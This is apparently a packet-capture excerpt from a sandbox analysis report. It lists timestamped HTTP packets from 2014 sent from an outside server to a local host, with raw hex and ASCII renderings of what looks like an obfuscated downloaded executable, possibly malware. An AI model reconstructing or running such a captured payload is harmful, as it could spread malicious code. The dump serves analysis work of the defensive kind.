92
Aug 8, 2014 11:26:05.404427052 MESZ801032213.186.33.87192.168.1.13Data Raw: c1 79 89 8d 5c fe ff ff eb 13 0f be 15 d4 53 45 00 0b 95 a0 fd ff ff 89 95 a0 fd ff ff c7 85 b8 fb ff ff 00 00 00 00 eb 0f 8b 85 b8 fb ff ff 83 c0 01 89 85 b8 fb ff ff 81 bd b8 fb ff ff 01 02 00 00 7d 02 eb e3 c6 05 56 53 45 00 9f 0f b6 0d 0c 39
Data Ascii: y\SE}VSE9EE]CVSE+#Dt2}tSETU0BTaBUEMp
93
Aug 8, 2014 11:26:05.404443026 MESZ801032213.186.33.87192.168.1.13Data Raw: 0f be 0d 50 4d 44 00 83 e1 1f b8 d1 00 00 00 d3 f8 89 45 a0 0f b6 15 88 17 43 00 0f be 0d ba 53 45 00 d3 fa 89 95 f0 fc ff ff eb 06 ff 15 98 62 42 00 0f b6 05 72 99 42 00 0f b6 0d f0 b5 44 00 83 e1 1f d3 e0 66 a3 a2 4d 44 00 8d 8d 60 ff ff ff 51
Data Ascii: PMDECSEbBrBDfMD`Qj`B0&REqC3;;MQMDEzC:fE&;0yJB$$
95
Aug 8, 2014 11:26:05.404565096 MESZ801032213.186.33.87192.168.1.13Data Raw: 66 89 15 ec 4e 44 00 b8 39 00 00 00 85 c0 74 5f 8b 8d 94 fe ff ff 0b 4d d8 83 e1 1f 66 89 8d f4 fc ff ff ba 15 00 00 00 85 d2 74 0c c7 85 b8 fe ff ff 01 00 00 00 eb 2a 0f bf 05 a4 4e 44 00 85 c0 74 09 c6 05 57 53 45 00 00 eb 16 8b 8d 48 ff ff ff
Data Ascii: fND9t_Mft*NDtWSEHh8ODfMD|tjjdQhPDhPDbBfNDfTNDfODHfMfLSEEtq4
95
Aug 8, 2014 11:26:05.410764933 MESZ801032213.186.33.87192.168.1.13Data Raw: 95 84 fd ff ff 8b 85 08 fd ff ff 6b c0 3b 85 c0 74 1c 8b 8d 74 fd ff ff 83 e1 1f 8b 95 a0 fd ff ff d3 fa 83 e2 1f 89 95 f0 fc ff ff eb 18 b8 45 00 00 00 85 c0 74 0f 8b 4d e0 83 c1 51 83 e1 1f 88 0d 98 53 45 00 0f b6 15 dd 9f 43 00 33 c0 3b 15 38
Data Ascii: k;ttEtMQSEC3;8OD\,t#5&D*QMD}hRaBB8ODSEE\@U
97
Aug 8, 2014 11:26:05.410770893 MESZ801032213.186.33.87192.168.1.13Data Raw: 4d 44 00 66 a3 b0 4d 44 00 0f b7 0d b0 4d 44 00 6b c9 6d 89 8d 60 fe ff ff 8d 95 60 ff ff ff 52 6a 00 ff 15 10 60 42 00 0f b6 05 75 2c 42 00 89 85 2c fe ff ff c7 85 d4 fe ff ff d2 00 00 00 0f b6 0d c0 33 45 00 83 e1 1f ba 2a 00 00 00 d3 fa 89 95
Data Ascii: MDfMDMDkm``Rj`Bu,B,3E*ftfMD`!l,3%yH@SSt(3( MD3SE`#
98
Aug 8, 2014 11:26:05.410773993 MESZ801032213.186.33.87192.168.1.13Data Raw: 44 00 33 8d dc fc ff ff 89 8d 44 ff ff ff eb 0c ff 15 5c 60 42 00 ff 15 7c 62 42 00 c7 45 b4 63 00 00 00 eb 09 8b 55 b4 83 c2 01 89 55 b4 81 7d b4 cd 00 00 00 73 14 0f b7 05 7a 4d 44 00 03 85 e4 fc ff ff a3 8c 53 45 00 eb da c7 85 18 fd ff ff 65
Data Ascii: D3D\`B|bBEcUU}szMDSEeffNDNDfOD`BUE`SEE$WSESEMtCfNDtWSEq
99
Aug 8, 2014 11:26:05.476505995 MESZ801032213.186.33.87192.168.1.13Data Raw: 44 00 89 45 88 c7 45 98 52 00 00 00 8b 4d 98 89 8d 44 fe ff ff ba 84 00 00 00 2b 95 44 fe ff ff 89 95 5c fe ff ff 8a 85 f0 fc ff ff a2 51 4d 44 00 0f b6 0d a8 26 42 00 89 4d a0 c7 45 a4 76 00 00 00 33 d2 83 7d a4 47 0f 94 c2 89 15 d4 4e 44 00 8b
Data Ascii: DEERMD+D\QMD&BMEv3}GNDDSEXPMD\E(}th=|NDt+USE<Dtf@ND+UB
101
Aug 8, 2014 11:26:05.477065086 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 fd ff ff 33 d2 b9 ba 00 00 00 f7 f1 2d c7 00 00 00 66 a3 bc 4d 44 00 0f b7 15 bc 4d 44 00 33 c9 83 fa 11 0f 94 c1 8b 85 60 fe ff ff 99 be 8c 00 00 00 f7 fe 33 c8 51 0f b6 15 fa f3 41 00 33 c0 3b 95 c4 fc ff ff 0f 9c c0 0f b6 0d 01 a3 43 00 33
Data Ascii: 3-fMDMD3`3QA3;C3P0OD0QCEf&SE&SEffND\HWSEwWSE0ZxND3x
101
Aug 8, 2014 11:26:05.477092028 MESZ801032213.186.33.87192.168.1.13Data Raw: ff 8b 85 44 fe ff ff 33 d2 b9 bc 00 00 00 f7 f1 8b c2 33 d2 b9 01 00 00 00 f7 f1 83 c2 0b 89 95 e8 f9 ff ff 83 bd e8 f9 ff ff 0b 74 02 eb 2b 8b 85 3c ff ff ff 99 b9 d3 00 00 00 f7 f9 89 85 40 fe ff ff 0f bf 15 a4 4e 44 00 33 c0 3b 55 dc 0f 9f c0
Data Ascii: D33t+<@ND3;UQMDUjjLQjj4RE%EE5MM}'sPMDUNDaBfMDfNDND#UfE
103
Aug 8, 2014 11:26:05.477109909 MESZ801032213.186.33.87192.168.1.13Data Raw: af 4d b4 89 4d 9c 0f b6 15 2b a9 44 00 0f af 15 8c 53 45 00 8b 8d c0 fe ff ff 83 e1 1f d3 e2 85 d2 74 09 c7 45 e4 01 00 00 00 eb 15 8b 45 9c 33 c9 3b 85 cc fe ff ff 0f 94 c1 66 89 0d ec 4e 44 00 c7 45 b4 2a 00 00 00 8b 55 b4 69 d2 8d 00 00 00 89
Data Ascii: MM+DSEtEE3;fNDE*Ui`h@`%yH@t+B3fND30ODHaB$bBaBEfUfNDhB390OD
104
Aug 8, 2014 11:26:05.477633953 MESZ801032213.186.33.87192.168.1.13Data Raw: 1f 89 95 88 fd ff ff 8b 45 98 33 c9 3b 85 68 ff ff ff 0f 95 c1 83 e1 1f 66 89 0d fc 4e 44 00 eb 0c ff 15 88 60 42 00 ff 15 dc 61 42 00 c6 05 c2 53 45 00 41 0f b6 15 10 03 42 00 83 c2 68 89 95 50 fe ff ff 0f be 05 d4 53 45 00 89 85 54 ff ff ff b9
Data Ascii: E3;hfND`BaBSEABhPSET;fNDfNDfNDND]ELNDLNDTPfSEM;rbBbBbB
105
Aug 8, 2014 11:26:05.477680922 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 83 e2 1f 89 95 94 fe ff ff c7 85 60 fe ff ff c0 00 00 00 8b 85 60 fe ff ff a3 e8 52 45 00 8b 0d e8 52 45 00 81 f1 c1 00 00 00 83 e1 1f 89 0d 30 4f 44 00 eb 0c ff 15 54 60 42 00 ff 15 10 61 42 00 c7 85 18 fd ff ff 2e 00 00 00 66 8b 95 18 fd ff
Data Ascii: ``RERE0ODT`BaB.ffODSE$|44ODh%yH@t.ODRMDTODD#c3C3TfMD
106
Aug 8, 2014 11:26:05.477699995 MESZ801032213.186.33.87192.168.1.13Data Raw: 4d 44 00 0f b7 15 9a 4d 44 00 89 95 28 fe ff ff 0f b6 05 fd 1e 42 00 89 85 24 fe ff ff b9 e1 00 00 00 85 c9 74 09 c6 05 56 53 45 00 01 eb 15 83 bd 24 fe ff ff 09 1b d2 f7 da 83 e2 1f 66 89 15 b0 4d 44 00 b8 71 00 00 00 66 a3 f0 4e 44 00 c7 45 d8
Data Ascii: MDMD(B$tVSE$fMDqfNDEsMWSEtE)P7E9+#MtWSE d`BtaBk38fUEE$DM3$4aB@B
108
Aug 8, 2014 11:26:05.478204012 MESZ801032213.186.33.87192.168.1.13Data Raw: ec 4e 44 00 3b 8d 7c fd ff ff 1b d2 f7 da 89 95 d4 fe ff ff 8b 45 a4 23 45 ec 89 85 78 ff ff ff c7 45 84 01 00 00 00 c7 85 40 ff ff ff f4 00 00 00 c7 45 e0 01 00 00 00 eb 12 ff 15 2c 62 42 00 ff 15 44 61 42 00 ff 15 fc 61 42 00 8b 8d 6c ff ff ff
Data Ascii: ND;|E#ExE@E,bBDaBaBlptCU3RE9M\xxxx}E#\fMDbBM
109
Aug 8, 2014 11:26:05.478295088 MESZ801032213.186.33.87192.168.1.13Data Raw: 05 52 81 44 00 33 c9 39 05 e8 52 45 00 0f 9f c1 89 8d 54 fe ff ff ba 81 00 00 00 66 89 15 f0 4e 44 00 8b 85 60 fe ff ff 89 85 fc fc ff ff c7 85 70 ff ff ff 21 00 00 00 8a 8d 70 ff ff ff 88 0d ca 53 45 00 c7 85 94 fe ff ff 10 00 00 00 8b 95 94 fe
Data Ascii: RD39RETfND`p!pSEfNDD+tXESE+E;ttM+SEND+p`ETtiBTND
110
Aug 8, 2014 11:26:05.478312969 MESZ801032213.186.33.87192.168.1.13Data Raw: 45 d8 33 85 24 fd ff ff 33 d2 b9 01 00 00 00 f7 f1 83 c2 66 89 95 ac f9 ff ff 83 bd ac f9 ff ff 66 74 02 eb 27 0f b6 15 56 53 45 00 03 95 40 ff ff ff 83 e2 1f 89 95 54 ff ff ff 83 bd 38 fe ff ff 73 1b c0 f7 d8 83 e0 1f 89 45 a4 8b 85 44 ff ff ff
Data Ascii: E3$3fft'VSE@T8sEDfU(PMD;@SEEwSEMDEM0ODD@ B`;l9EtH
112
Aug 8, 2014 11:26:05.478825092 MESZ801032213.186.33.87192.168.1.13Data Raw: 30 ff ff ff c3 00 00 00 8b 8d 30 ff ff ff 89 4d e8 c7 85 d8 fe ff ff 8a 00 00 00 c7 45 84 36 00 00 00 0f b6 15 55 31 44 00 3b 55 e8 1b c0 83 c0 01 3b 85 d8 fe ff ff 1b c9 83 c1 01 81 e1 00 00 00 80 79 05 49 83 c9 ff 41 83 c1 19 89 8d 98 f9 ff ff
Data Ascii: 00ME6U1D;U;yIAt'SEPv@3;QMDfMD`Bd`BSED3=SEEP/fPfREREWSE?
113
Aug 8, 2014 11:26:05.478842974 MESZ801032213.186.33.87192.168.1.13Data Raw: ff ff 1b c9 f7 d9 66 89 0d 20 4f 44 00 eb 12 8b 15 e8 52 45 00 33 95 60 fe ff ff 83 e2 1f 89 55 8c 8b 85 c8 fe ff ff 8b 8d 34 fe ff ff d3 e0 83 e0 1f a2 51 4d 44 00 eb 0c ff 15 5c 61 42 00 ff 15 fc 61 42 00 0f b6 0d 52 45 44 00 33 d2 83 f9 46 0f
Data Ascii: f ODRE3`U4QMD\aBaBRED3FSEHHHHU}SESEU:@$m#BM\Ds=)D39@
115
Aug 8, 2014 11:26:05.478852987 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 00 c7 85 20 fd ff ff 6a 01 00 00 eb 0f 8b 85 20 fd ff ff 83 e8 0d 89 85 20 fd ff ff 81 bd 20 fd ff ff ed 00 00 00 7e 0c c7 85 10 fd ff ff 01 00 00 00 eb d9 8b 85 8c fd ff ff 33 d2 b9 69 00 00 00 f7 f1 89 45 b0 c7 45 f8 2a 00 00 00 0f b6 15 12
Data Ascii: j ~3iEE*CUtMMx3}fMD`BaBaBnE3;SESESEGDaB4bBSES
116
Aug 8, 2014 11:26:05.478871107 MESZ801032213.186.33.87192.168.1.13Data Raw: 8d b8 fe ff ff 76 5b ba 92 00 00 00 3b 95 b8 fe ff ff 1b c0 f7 d8 89 85 84 fd ff ff b9 80 00 00 00 85 c9 74 09 c7 45 80 01 00 00 00 eb 28 0f b6 15 90 53 45 00 33 c0 39 95 cc fe ff ff 0f 9c c0 25 cf 00 00 00 74 0f 8b 4d b0 0b 8d dc fe ff ff 89 8d
Data Ascii: v[;tE(SE39%tM\REwSEteRMD8OD`&BtC39fE)+;u aBHbB
117
Aug 8, 2014 11:26:05.492717981 MESZ801032213.186.33.87192.168.1.13Data Raw: c1 88 0d ec 52 45 00 eb 12 ff 15 dc 61 42 00 ff 15 a8 60 42 00 ff 15 38 61 42 00 c7 05 38 4f 44 00 01 00 00 00 8b 15 38 4f 44 00 89 95 d0 fc ff ff 0f bf 05 28 4f 44 00 23 85 d0 fc ff ff 89 45 84 b9 70 00 00 00 3b 4d e0 1b d2 83 c2 01 89 95 24 fe
Data Ascii: REaB`B8aB8OD8OD(OD#Ep;M$aBbB|ESE3;MSESE3;@DUEffMD3p,8;,3;8
118
Aug 8, 2014 11:26:05.492913961 MESZ801032213.186.33.87192.168.1.13Data Raw: 45 e8 c7 00 00 00 83 bd d8 fe ff ff 00 74 57 8b 95 18 fd ff ff 0b 55 88 89 55 8c 0f bf 05 fa 4e 44 00 b9 b4 00 00 00 2b c8 23 0d d0 53 45 00 74 14 33 d2 81 7d dc f8 00 00 00 0f 9c c2 88 15 52 4d 44 00 eb 0e a1 94 53 45 00 83 e0 73 66 a3 e8 4e 44
Data Ascii: EtWUUND+#SEt3}RMDSEsfNDMUlaBDaBXaBE`3;EXSESE3@0`B
120
Aug 8, 2014 11:26:05.492918968 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 33 c9 39 85 68 ff ff ff 0f 95 c1 23 8d c0 fe ff ff 74 11 8b 95 70 fd ff ff 83 ca 68 89 95 9c fd ff ff eb 13 8b 85 d4 fc ff ff 3b 45 b0 1b c9 f7 d9 89 8d 08 fd ff ff 8b 4d ec 83 e1 1f ba cb 00 00 00 d3 e2 83 e2 1f 88 15 50 4d 44 00 eb 0c ff 15
Data Ascii: 39h#tph;EMPMDXaBbBEMWSETTB$0WSE3f0~AT3;T00$c
121
Aug 8, 2014 11:26:05.493009090 MESZ801032213.186.33.87192.168.1.13Data Raw: c7 45 88 7f 00 00 00 8b 55 88 89 95 68 ff ff ff c7 85 e0 fe
Data Ascii: EUh
121
Aug 8, 2014 11:26:05.493033886 MESZ801032213.186.33.87192.168.1.13Data Raw: ff ff cc 00 00 00 c7 85 68 ff ff ff 6a 00 00 00 b8 80 00 00 00 66 a3 e8 4e 44 00 0f b7 0d e8 4e 44 00 83 e1 1f 8b 95 68 ff ff ff d3 fa 89 55 e8 c7 85 a0 fd ff ff 85 00 00 00 8b 85 a0 fd ff ff 89 85 44 fe ff ff 8b 8d 44 fe ff ff 89 8d 60 fe ff ff
Data Ascii: hjfNDNDhUDD`3`68!~C BP KSESE?TTRE CEi3
123
Aug 8, 2014 11:26:05.493037939 MESZ801032213.186.33.87192.168.1.13Data Raw: 60 42 00 ff 15 3c 62 42 00 ff 15 dc 60 42 00 ff 15 e0 62 42 00 ff 15 dc 62 42 00 ff 15 58 62 42 00 ff 15 20 62 42 00 ff 15 5c 61 42 00 ff 15 30 60 42 00 ff 15 50 61 42 00 ff 15 c8 60 42 00 ff 15 30 61 42 00 ff 15 c0 62 42 00 e8 a4 8f 00 00 ff 15
Data Ascii: `B<bB`BbBbBXbB bB\aB0`BPaB`B0aBbB`B<`BLbB`BaB`BH`BT`B`BaB|aB`BaB0`B4bB`aBbBlaBaB`B`BhbBHaBaBaB3
124
Aug 8, 2014 11:26:05.493114948 MESZ801032213.186.33.87192.168.1.13Data Raw: bf 45 d8 89 45 b8 66 8b 4d b8 66 89 4d c8 0f b7 55 fc 89 55 dc 8b 45 c4 89 45 cc 8b 4d cc 89 4d b8 0f bf 55 d8 8b 4d f0 d3 e2 89 55 c4 8b 45 c4 99 b9 a1 00 00 00 f7 f9 88 45 fb 66 8b 55 d8 66 89 55 d8 0f bf 45 d8 89 45 dc 8b 4d dc 89 4d d0 66 8b
Data Ascii: EEfMfMUUEEMMUMUEEfUfUEEMMfUfUEEfMfMUUfEM#MMECfUfUEfEfEE1MMUtE5fERMU;M|CEEMtE
125
Aug 8, 2014 11:26:05.493143082 MESZ801032213.186.33.87192.168.1.13Data Raw: c8 b9 01 00 00 00 85 c9 74 0a 8b 55 d0 83 c2 04 66 89 55 fc 0f be 45 fb 33 c9 83 f8 26 0f 95 c1 66 89 4d d8 eb 04 c6 45 fb 00 c7 45 ec 00 00 00 00 83 7d b8 00 74 09 c7 45 f0 01 00 00 00 eb 22 8b 55 dc 81 e2 0f 00 00 80 79 05 4a 83 ca f0 42 83 e2
Data Ascii: tUfUE3&fMEE}tE"UyJB_tMEMt`MUMMtM3UE+tEU3;UE.M+M;tEM3;U
126
Aug 8, 2014 11:26:05.493148088 MESZ801032213.186.33.87192.168.1.13Data Raw: b4 fa 00 00 00 8b 45 b4 89 45 bc 0f be 4d fa 0f af 4d bc 88 4d c7 c7 45 b4 ba 00 00 00 c7 45 c8 0c 00 00 00 c6 45 e3 1b 0f b6 55 e3 89 55 bc 8a 45 c7 88 45 fb c7 45 b4 c6 00 00 00 c6 45 e3 15 8a 4d e3 88 4d fa 8a 55 fa 88 55 e3 b8 b0 00 00 00 66
Data Ascii: EEMMMEEEUUEEEEMMUUfEfMfME2E%UMUEEfMfMfUfUE-EEMMUUfEfEMMfUEEMMMzU8fEMMUU
128
Aug 8, 2014 11:26:05.493248940 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 80 79 05 4a 83 ca ff 42 83 c2 71 89 55 a0 83 7d a0 71 74 02 eb 1d 0f b7 45 c0 33 c9 3b 45 d0 0f 9d c1 89 4d c8 0f be 55 fb 0f b6 45 c7 2b d0 66 89 55 c0 0f b6 4d c7 33 d2 3b 4d c8 0f 94 c2 88 55 fb 8b 45 b4 83 c0 27 83 e0 1f 89 45 c8 8b 4d f4
Data Ascii: yJBqU}qtE3;EMUE+fUM3;MUE'EMUEEEMMUUtEEfEW>tNEtEEfE&MEMfUfEUMfUEMHMUtE
128
Aug 8, 2014 11:26:05.499633074 MESZ801032213.186.33.87192.168.1.13Data Raw: 00 d3 fa 89 55 bc e9 04 fc ff ff 0f b7 45 c0 69 c0 b0 00 00 00 85 c0 74 51 c6 45 c7 01 0f b7 4d fc 33 d2 39 4d d0 0f 9d c2 0f b7 45 c0 0b d0 74 12 0f be 45 fa 99 b9 1e 00 00 00 f7 f9 66 89 45 fc eb 1e 0f b7 55 d4 85 d2 74 09 c7 45 bc 01 00 00 00
Data Ascii: UEitQEM39MEtEfEUtEEMEEUiE+tEE3]X0ef=IHB?FqHj{7hL2Ah=(
130
Aug 8, 2014 11:26:05.499655962 MESZ801032213.186.33.87192.168.1.13Data Raw: 95 0a a6 0a 61 0a 03 72 0a 0a 0a 0c 0a 79 9f 09 0a 62 0a c6 0a cf 0a 0a 1f de 57 0a 26 0a 0a 0a c8 0a 0e 0a 58 26 0a 0a 0a 0a 56 0a c8 7c 0a 1a 0a 82 9e c6 0a 0a f2 a8 ca 34 0a 0a 0a 0a eb 0a 9d c0 63 e5 0a 0a 0a 0a 1f 0a 11 2b 0a 99 0a 50 0a ff
Data Ascii: arybW&X&V|4c+P#*90'`"+(jZK3'I BT+; i".THP8Laih
131
Aug 8, 2014 11:26:05.509332895 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a 0a 9a 0a 28 0a 10 8b 0a 0a 0a 2d 0a 16 54 97 0a 41 0a 80 0a 24 0a 0a 0a 41 84 0a 8a 0a 0a 0a 11 0a 03 0a 31 46 81 0a 0a 0a 0a 0a d2 0a 0a 97 0a f8 9a 85 fd eb d8 90 0a fc 0a 0a 0a 0a 0a 0a 5a be c6 0a 0a 76 0a 0a e6 0a a8 e7 0a 97 0a 27 0a
Data Ascii: (-TA$A1FZv'=7{L)qelyKn(yh6%|P Pt8!x 2|!JX#DfR3V>a
132
Aug 8, 2014 11:26:05.509814024 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a a1 56 0a 0a 53 4c 43 0a 0a 27 0a 0a 0a 7a 52 05 c6 0a f6 a0 21 0a 0a 0a 8b 0a 0a 0a 6e 0a 03 0a 0a 0a b1 b7 93 0a 0a 36 0a 62 0a 22 fd a6 c8 0a 6a 34 d8 e6 0a 0a 49 0a 0a 0a 2a 40 94 0a 0a d3 3d 02 c6 0a 0a 38 0a 1a 0a f0 eb 0c 0a 0a 09 0a d9
Data Ascii: VSLC'zR!n6b"j4I*@=8bwR+h`5Hy@P2`g|/yNM*KdJ0p84
133
Aug 8, 2014 11:26:05.509862900 MESZ801032213.186.33.87192.168.1.13Data Raw: 58 75 a5 0a 11 0a 92 0a 88 0a 14 0a 0a 0a 78 0a 0a d6 c2 85 2a 0a 0a 07 08 3e 39 0a 1f 0a 0a 2d 0a 0a 0a e3 0c 0a 08 0a 8c cd 57 8c 18 0a e7 0a e7 0a 13 37 0a 31 ee 91 0a 0a fc 97 0a 0a 0a 68 44 95 e2 0a 84 69 0e b7 0a 0a 43 0a 0a 0a d1 0a 46 bb
Data Ascii: Xux*>9-W71hDiCF+(}l0H CuF,~Pna<X_S&La.E1I\
135
Aug 8, 2014 11:26:05.510293961 MESZ801032213.186.33.87192.168.1.13Data Raw: c1 32 0a 61 3d 22 15 46 0a 0a 0a 0a 60 0a d5 0a d9 0a 83 90 8b 0a 0a 0a 0a 3b 0a 12 0a b1 e6 41 0a 0a 41 0a 0a 0a 0a 0a fe 0a 0a 22 34 0a 0a 0a 0a 82 07 0a 65 d6 0a 0a 0a c8 2b 8e 12 0a 0a 0a 0a 0a 0a 7f 54 0a aa 0a 0a 0a 45 0a 0a 0a 0a 47 a4 35
Data Ascii: 2a="F`;AA"4e+TEG5zhzoaJu6T`V[[EC?r)$ w"I=fU
135
Aug 8, 2014 11:26:05.510354996 MESZ801032213.186.33.87192.168.1.13Data Raw: 9d 0a 0a 0a 0a 1b 7a 42 0a fe 98 0a f9 0a 0a 0a 01 0a 0e 0a 0a 50 78 4b 0a 69 0a b4 3a 0a 0a 0a 0a 28 0a 31 9f a4 fe 0a eb 45 4e 0a 75 eb c2 0a d9 0a 02 0a 59 73 0a 31 41 82 a3 1c 09 0a 0a 42 0a 5a 62 f7 84 0a 1c 08 fe 79 0a 10 26 0a 03 0a 2b 0a
Data Ascii: zBPxKi:(1ENuYs1ABZby&+8)1=$hyRV'{#Hhw00r-@P'XtC4~?hTsH
137
Aug 8, 2014 11:26:05.510377884 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a ef 0a 01 45 0a 04 0a 0a 28 0a 0a 0a 0a 0a 0a b7 5d 12 0a 0a 0a f1 0a ca 0a 4a 90 0a 0e 0a e4 3e 66 f0 14 0a a3 0a 09 0a 55 e5 ed 50 a8 39 0a c2 1b 0a 0a 0a 0a 28 0a 68 e9 0a f3 0a 30 0a 0a 0a 0a 0a 0a 0a a3 0a d6 3f e0 3b 37 87 43 0a 0a 0a 0a
Data Ascii: E(]J>fUP9(h0?;7CHp1X. thUP.(.wP!@?ln8GWIli$,G&o
138
Aug 8, 2014 11:26:05.510896921 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 59 0a b8 0a de 0a 5e 4f 0a 42 7f 43 0a 0a 0a 8b 0a 0a 0a 25 dc 83 fb 0a 20 0a 0a 20 0a 0a 80 0a 62 1f 79 0a f4 10 0a cf 22 42 64 0a fa 0a 0a 28 0a 3c 02 0a 0a 0a 0a 0a e2 e8 16 e0 a2 c0 87 dd 90 b8 13 4b 01 90 84 40 cf a6 0a 0a 0a 12 7c 0a 4d
Data Ascii: Y^OBC% by"Bd(<K@|M04YJ4g.F\g3j?%@,W38%D`mLfUp=,'J!0",
140
Aug 8, 2014 11:26:05.516382933 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 48 cc 39 0a 3b b8 0a 2b 0a 3c 0a bc ac 16 37 99 0a 0a 0a aa 0a 36 0a 0a e9 54 0a 5b 0a c7 0a 0a 0a 4c 0a 0a 38 58 17 0a 51 a4 0c ba 9d a1 da 0c 0a 0a 0a 04 0a 0a 36 0a 0a 0a 0a 74 0a 0a 0a 0a 55 0a 0a 0a b8 92 0a 0a 0a c3 2b 4d bb 5f 31 0a 0a
Data Ascii: H9;+<76T[L8XQ6tU+M_19.(VH!5"riq**iOjHXXov ~,G<#==iU,
141
Aug 8, 2014 11:26:05.516413927 MESZ801032213.186.33.87192.168.1.13Data Raw: 1e 0a fa 48 b3 08 0a 8e 40 7c 57 0a c3 0a 0a 0a 0a 0a 0a 01 0a 0a 0a 0a 0a 0a 0a 0a 0a fa ab f4 0a 0a 0a 71 cc 29 f1 44 f1 67 d4 0a 0a df 4c 11 8d 0e 38 0a 42 0a ca 0a 0a 0a 0a 01 bb 07 19 0a 0a 0a 0a 0a 0a 70 59 cd 0a d8 0a 72 53 21 60 0a 84 2d
Data Ascii: H@|Wq)DgL8BpYrS!`-[\32S Q?"EYz&kA.09XOe?hH@q@@W\g%R
143
Aug 8, 2014 11:26:05.516423941 MESZ801032213.186.33.87192.168.1.13Data Raw: 26 7b 30 b1 10 c2 a4 3a c8 0a 0a 0a 34 6e a3 72 f6 00 f0 51 0a 02 80 92 0a 0a 0a 0a 48 0a 98 0a 0a 0a aa c2 0b 88 ac 46 0a 78 2e 0a 48 57 c2 0a 6d 30 0a 0a ea 63 0a 91 0a 0a a6 0a 52 0a 34 3f 56 5c 88 0a af 0a b9 99 2b 24 c8 51 c2 4e 74 bc 0a bc
Data Ascii: &{0:4nrQHFx.HWm0cR4?V\+$QNtH>$lDjC<D-RF|G<)fQ::%`F3-k5
143
Aug 8, 2014 11:26:05.567102909 MESZ801032213.186.33.87192.168.1.13Data Raw: 83 d6 0a dd a5 b2 ac 51 0a 19 4a 4e 0a 0a 0a 0a 0a 0a 0a a5 0a 0a 0a f8 0a 0a 0a 0a cd 15 3c 0a c4 f0 e2 05 0a 55 0a 76 0a 28 00 12 f0 0a 10 0a 0a 0a 0a 76 0a 74 0a 0a 76 0a 62 0a 0a db 11 e7 0a f2 0a df 4f 29 5d 0a 82 21 4d a1 0a 0d d8 54 0a 0a
Data Ascii: QJN<Uv(vtvbO)]!MTlXJ8a`05.KV8>:((;31wWux3@1@<(DQIp9`el$UC
145
Aug 8, 2014 11:26:05.567658901 MESZ801032213.186.33.87192.168.1.13Data Raw: 88 01 76 f2 c3 e8 a9 0a 0a 15 9f 0a c3 0a 0a 0a 0a ae 0a 0a 0a 70 a6 b0 0a 0a 0a e5 8f 0a 0c 03 d4 7b 0a b9 2b 4f 90 0a 80 cc 5a cf 7c ea 0a 0a 0a 0a ba d2 81 0a 77 0a 0a 6a 0a 0a 2d 0a 39 dc 14 0a aa 0b a3 7f 0a e8 07 69 61 84 0a 9f 82 0a e0 0a
Data Ascii: vp{+OZ|wj-9iatKdW7X]cB"rdS,JH"G2/6}uHa"#!N9KW
146
Aug 8, 2014 11:26:05.578912973 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a da 0a e7 00 72 0a 2c 10 32 0a 0a 71 58 cb 86 93 3b 48 30 0a 2c 0a 0a 0a 0a be 0a 97 0a 0a 68 0a 0a b1 0a ed 82 85 06 0a ea 82 fb 15 f2 0a 0a 91 0a c0 7d e5 f2 30 55 0a a7 ea 0a 0a 0a 0a f7 0a 0a cf 0a 3a 39 5f 26 0a 0a e4 19 21 12 f0 0a 92
Data Ascii: r,2qX;H0,h}0U:9_&!P!h^l1Ti~br6f<n:p'u%}N!Dz{h\rpN&H=6"7O'D
147
Aug 8, 2014 11:26:05.578942060 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 46 0a 0a f0 74 ce 0a fb d0 e6 f2 64 22 44 e3 0a cc f7 e2 c8 0a ad 42 c9 0a 0a 0a 21 0a 0a 00 0a 0a 0a 38 35 8f 0a 1f d5 78 29 0a 0a 0a 0a 4b 0a 77 35 7c 4a 0a 0a 61 0a 0a 92 0a 0a 0a 0a 93 0a 0a 0a 0a c9 0c 0a fb 0a 0a d5 59 0a 7b 87 a8 0a 0f
Data Ascii: Ftd"DB!85x)Kw5|JaY{8>s>s"81 lZf Zz0:ZU"eD|@>B "O<Fk4s.+ #SDB
149
Aug 8, 2014 11:26:05.579459906 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a df 0a 0d cb b9 c3 7e 0a 0a 09 e2 01 b2 0a 07 8a 18 69 0a a8 80 0a 43 13 01 09 0a 0a 0a 0a 0a 0a 0a 98 0a 03 0a 0a 6b 20 0a 89 d7 56 a0 22 92 0a 0a 62 bc 9e 28 0a 03 26 e4 0a 0a 0a d6 0a 0a 0a 0a 59
Data Ascii: ~iCk V"b(&Y
149
Aug 8, 2014 11:26:05.581275940 MESZ801032213.186.33.87192.168.1.13Data Raw: 0a 0a f6 0a 1a 0a 20 f3 13 21 a4 79 18 18 0a 30 0a 82 0a 0a 0a 12 80 bd 19 0a 0a 82 0a 5b 3c 0a 59 71 61 b2 0a 0a 0a 3d 68 0f f4 7e 8e 12 89 0a e6 0a b2 20 14 cb 0a 0a 0a 76 b1 0a 0a 0a 20 0a 0a 0a 0a e4 0a 0a 38 37 d0 0a f3 65 93 c4 56 02 32 9f
Data Ascii: !y0[<Yqa=h~ v 87eV2$RDqH4< 9k{DgI/7>X)i{:m?EXA8:8M3P
149
Aug 8, 2014 11:26:05.583947897 MESZ801032213.186.33.87192.168.1.13Data Raw: a3 0a d7 0a 0a 0a 53 c2 80 85 0a 62 0a 21 26 e8 0a 08 0a 5d 0a 43 0a c7 0a e0 5a 37 24 0a 0a 0a 02 0a 0a 0a 91 61 2e 0a 0a 8f 75 b3 2f 0a 0a c4 0a c6 4c 0d eb 11 0a e4 0a 18 0a 6d 0a dc 0a 0a d3 4c a0 5a dd 44 0a 0a 0a 0a 42 2f dc 0a 0a ff 0a ef
Data Ascii: Sb!&]CZ7$a.u/LmLZDB/qIOo.zx@MDl7Q/8-$A|`8f K#{J:0{H:
151
